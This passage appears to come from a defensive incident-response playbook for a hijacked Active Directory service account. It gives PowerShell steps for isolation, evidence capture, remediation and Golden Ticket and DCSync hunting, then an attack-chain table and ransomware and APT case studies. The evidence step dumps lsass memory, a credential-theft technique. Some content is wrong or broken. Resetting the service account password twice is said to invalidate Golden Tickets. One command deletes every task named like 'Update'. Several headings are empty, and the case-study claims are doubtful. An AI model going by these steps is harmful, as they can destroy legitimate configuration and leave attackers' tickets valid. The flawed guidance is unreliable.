AuditLogs table - “Create service principal”, “Create Application”, “Add app role assignment”SecurityComplianceEvents - “Mailbox delegated access added”OfficeActivity table - “Add-MailboxPermission” executed by service account1. Isolate the Compromised Service Account:
Command (Immediate):
# Disable the service account
Disable-ADAccount -Identity "DOMAIN\svc_sql"
# Revoke all Kerberos tickets for this user
klist purge
# Kill all processes running as this account
Get-Process | Where-Object {$_.UserName -eq "DOMAIN\svc_sql"} | Stop-Process -Force
Manual (Azure Portal):
2. Collect Evidence:
Command:
# Export all security event logs related to service account
$ServiceAccount = "DOMAIN\svc_sql"
wevtutil epl Security "C:\Evidence\Security_$ServiceAccount.evtx" /query:"*[EventData[Data[@Name='TargetUserName'] = '$ServiceAccount']]"
# Export scheduled tasks
Get-ScheduledTask | Where-Object {$_.Principal.UserId -like "*svc_sql*"} | Export-ScheduledTask | Out-File "C:\Evidence\scheduled_tasks.xml"
# Capture memory dump if available (requires admin)
.\Procdump64.exe -ma lsass.exe "C:\Evidence\lsass_dump.dmp"
# Export registry hives
reg save HKLM\Software "C:\Evidence\Software.hiv"
reg save HKLM\System "C:\Evidence\System.hiv"
3. Remediate the Compromise:
Command:
# Remove malicious scheduled tasks
Get-ScheduledTask | Where-Object {$_.TaskName -like "*Maintenance*" -or $_.TaskName -like "*Update*"} | `
Unregister-ScheduledTask -Confirm:$false
# Remove malicious registry entries
Remove-Item "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run\*ServiceMonitor*" -Force
# Remove hidden backdoor files
Remove-Item "C:\Windows\System32\drivers\etc\config\svc_*.ps1" -Force
# Restore service account password (reset twice to invalidate Golden Tickets)
Set-ADAccountPassword -Identity "svc_sql" -NewPassword (ConvertTo-SecureString "NewP@ssw0rd!Complex123" -AsPlainText -Force) -Reset
Start-Sleep -Seconds 5
Set-ADAccountPassword -Identity "svc_sql" -NewPassword (ConvertTo-SecureString "FinalP@ssw0rd!Complex456" -AsPlainText -Force) -Reset
# Re-enable the account after password reset
Enable-ADAccount -Identity "svc_sql"
# Restart services using this account
Restart-Service -Name "SQLSERVERAGENT" -Force # If it's a SQL service account
4. Perform Domain-Wide Threat Hunt:
Command:
# Search for all Golden Tickets created (Event ID 4769 with unusual properties)
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4769] and EventData[Data[@Name='TicketOptions'] = '0x40a00000']]" -MaxEvents 100
# Search for DCSync activity by other accounts
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4662]]" | `
Where-Object {$_.Properties[1].Value -like "*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*"}
# Search for other service accounts with unusual permissions
Get-ADUser -Filter {ServicePrincipalName -ne $null} | `
ForEach-Object {
Get-ADUser -Identity $_ -Properties AdminCount | `
Where-Object {$_.AdminCount -eq 1} # Should be rare
}
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [CA-BRUTE-001] Azure Portal Password Spray | Attacker compromises initial user account via password spray |
| 2 | Credential Access | [CA-KERB-001] Kerberoasting Weak Service Accounts | Attacker requests TGS tickets for service accounts and cracks passwords |
| 3 | Current Step | [PERSIST-VALID-001] | Attacker hijacks service account for long-term persistence |
| 4 | Privilege Escalation | [PE-TOKEN-002] RBCD (Resource-Based Constrained Delegation) | Using service account, attacker abuses delegation to escalate to Domain Admin |
| 5 | Persistence | [PERSIST-VALID-002] Azure AD Connect Sync Account | Attacker maintains access via MSOL account and DCSync for domain compromise |
| 6 | Impact | [IMPACT-RANSOM-001] Ransomware Deployment | With domain access, attacker deploys ransomware across infrastructure |
Target: MSPs and their customers worldwide
Timeline: July - August 2021
Technique Status: This attack demonstrated Kerberoasting + Service Account Hijacking in a massive scale
Impact: REvil ransomware deployed to 1,500+ organizations, estimated $70 million in ransom demands
Attack Chain:
Reference: Mandiant Analysis of Kaseya Attack
Target: U.S. Government, Fortune 500 companies
Timeline: March - December 2020 (SUNBURST backdoor)
Technique Status: Service account compromise was a key persistence mechanism
Impact: APT29 (Cozy Bear) maintained access for 9+ months, exfiltrated significant data
Attack Chain:
Reference: Microsoft Security Blog - SUNBURST Post-Mortem
Target: Banks, enterprises, governments
Timeline: Continuous operations (2014-2021, resurrected 2022)
Technique Status: Emotet used Kerberoasting + Service Account Hijacking for lateral movement
Impact: Billions of dollars in financial losses; one of the most destructive malwares
Attack Chain:
Reference: Emotet Analysis by Malwarebytes